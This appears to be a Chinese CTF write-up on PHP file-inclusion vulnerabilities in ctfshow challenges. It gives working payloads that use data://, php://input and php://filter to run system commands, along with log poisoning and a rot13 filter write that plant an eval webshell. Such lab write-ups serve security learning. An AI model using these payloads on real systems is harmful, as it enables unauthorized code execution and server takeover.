文件包含与PHP伪协议
文件包含与伪协议
一、无任何过滤措施的文件包含漏洞:(ctfshow-web78):

1、data://协议:
?file=data://text/plain,<?php system('tac flag.php');?>
2、php://filter协议:
?file=php://filter/read=convert.base64-encode/resource=flag.php
得到 base64加密过后的数据,对数据进行base64解密即可得到flag
3、php://input协议:
?file=php://input
然后使用POST方法发送php代码:<?php system('tac flag.php');?>

4、file直接包含:
file的使用存在前提:
allow_url_fopen = On
allow_url_include = On
使用file协议需预知flag文件路径:
?file=/var/www/html/flag.php
二、过滤 'php':(ctfshow-web79):

1、data://协议 + PHP短标签:
?file=data://text/plain,<?='tac flag.php'?>
tac flag.php应用反引号扩起
<?=为PHP短标签,作用等效于 <?php echo
2、data://协议 + base64编码:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
3、php://input协议大小写绕过:

三、Nginx日志写入(ctfshow-web81):
Nginx的日志文件 access.log 默认配置路径为 /var/log/nginx/access.log

:被过滤,伪协议失效,通过Wappalyzer得知Web服务器为Nginx,且代码未作对于Nginx默认日志访问路径参数的相关过滤,考虑使用 Nginx日志写入一句话木马。

四、file_put_contents() 函数(ctfshow-web87):

.被过滤,无法实现access.log的日志写入,但是可以根据fil_put_contents()函数的函数特性,构造新文件shell.php,在shell.php中写入一句话木马拿权限。
?file=php://filter/write=string.rot13/resource=shell.php
由于urldeocde()函数,需要对?file=的参数进行url双编码(浏览器解码一次,urldecode()函数解码一次)
content参数使用POST方法请求:
content=?<hp pe@av(l_$EG[T]1;)>? (rot13编码)
如下图所示:

最后访问/shell.php连接一句话木马:
/shell.php?1=system('ls');
/shell.php?1=system('tac fl0g.php');
五、iconv过滤器(stfshow-web117):

代码中过滤了绝大多数 php://filter 过滤器,但是未过滤 iconv过滤器:
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php
contents参数为指定字符编码:


文件包含与PHP伪协议的更多相关文章
- PHP文件包含及使用伪协议getshell
file:// - 访问本地文件系统 http:// - 访问 HTTP(s) 网址 ftp:// - 访问 FTP(s) URLs php:// - 访问各个输入/输出流(I/O streams) ...
- php 文件包含base64读取文件 preg_replace函数
解题部分题目来源攻防世界web高手进阶区1.拿到题目以后,发现是一个index.php的页面,并且设备-没有显示完全,此位置可疑.2.源代码中发现?page=index,出现page这个get参数,联 ...
- PHP文件包含学习笔记
看完下面的几篇文章,然后从第8行开始以后的内容可以忽略!此文是个笔记梳理,是对大佬文章简单的COPY记录,方便以后查看,自己只复现了其中的例子 参考文章: PHP文件包含漏洞利用思路与Bypass总结 ...
- web文件包含
web安全~文件包含总结 文章来自freebuf,作者总结的很好,所以拿来做笔记用!!! 0×01 文件包含简介 服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当P ...
- web安全~文件包含总结
文章来自freebuf,作者总结的很好,所以拿来做笔记用!!! 0×01 文件包含简介 服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大 ...
- ✔PHP文件包含漏洞全面总结
我的另一篇博客总结的不够全面,但依然有借鉴价值:https://www.cnblogs.com/Zeker62/p/15192610.html 目录 文件包含的定义 文件包含漏洞常见函数 文件包含漏洞 ...
- 文件包含漏洞(DVWA环境中复现)
LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'page' ]; ?> 可以看到,low级别的代码对包含的文件 ...
- DVWA之File Inclusion(文件包含)
目录 LOW: Medium: High Impossible LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'pa ...
- CTF 文件包含与伪协议
正巧在写代码审计的文章,无意间看到了一篇CTF的代码审计,CTF题目很好,用的姿势正如标题,文件包含和伪协议. 先放出原文链接(http://www.freebuf.com/column/150028 ...
- 风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击
风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击 文件包含漏洞 参考文章:https://chybeta.github.io/2017/10/08/php文件包含漏洞/ 分类 ...
随机推荐
- AT_abc180_d 题解
洛谷链接&Atcoder 链接 本篇题解为此题较简单做法及较少码量,并且码风优良,请放心阅读. 题目简述 现有 \(STR\) 和 \(EXP\) 两个变量,初始化分别为 \(X\) 和 \( ...
- JMeter 后置处理器之JSON提取器
后置处理器之JSON提取器 By:授客 QQ:1033553122 测试环境 JMeter 5.4.1 插件介绍 JSON后置处理器(PostProcessor)允许使用 JSON Path 语法从J ...
- PHP进阶
只是简要说明起原理和用法,具体可以百度 abstract 抽象类 抽象类是指在 class 前加了 abstract 关键字且存在抽象方法,不带{},如public function test() i ...
- 【云服务器】记录使用腾讯云服务器搭建个人blog网站-【1】服务器配置
服务器购买 第一次写博客,写的不好请见谅 腾讯云教育活动 配置还行,能搭建个网站了果断下单 选择系统 缺点(对我来说):参考于:人生不开窍:Windows Server各版本差异 不能安装window ...
- python修改类属性
python修改类属性 1,当类属性为不可变的值时,不可以通过实例对象去修改类属性 class Foo(object): x = 1.5 foo = Foo() print(foo.x) #输出:1. ...
- Jmeter函数助手33-split
split函数用于根据分隔符拆分传递给它的字符串,并返回原始字符串. String to split:填入需要转换的字符串 函数名称.用于存储在测试计划中其他的方式使用的值:存储结果的变量名 Stri ...
- 【Vue】二维码生成
按组长提供的样例,功能比较相符合的是这个博客: https://www.jianshu.com/p/8d59107e1992 这个博客引用的是这篇文章: https://blog.csdn.net/w ...
- 【微信小程序】01 入门
官方开发文档: https://developers.weixin.qq.com/miniprogram/dev/devtools/devtools.html 需要去微信公众平台注册开发账号: mp. ...
- 个人自家使用的路由器:水星D121G —— 1200M 11AC双频千兆无线路由器 D121G
地址: https://www.mercurycom.com.cn/product-465-0.html
- 【转载】 【树莓派】为Ubuntu Mate for ARM 更换中国软件源
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明.本文链接:https://blog.csdn.net/wr132/article/details ...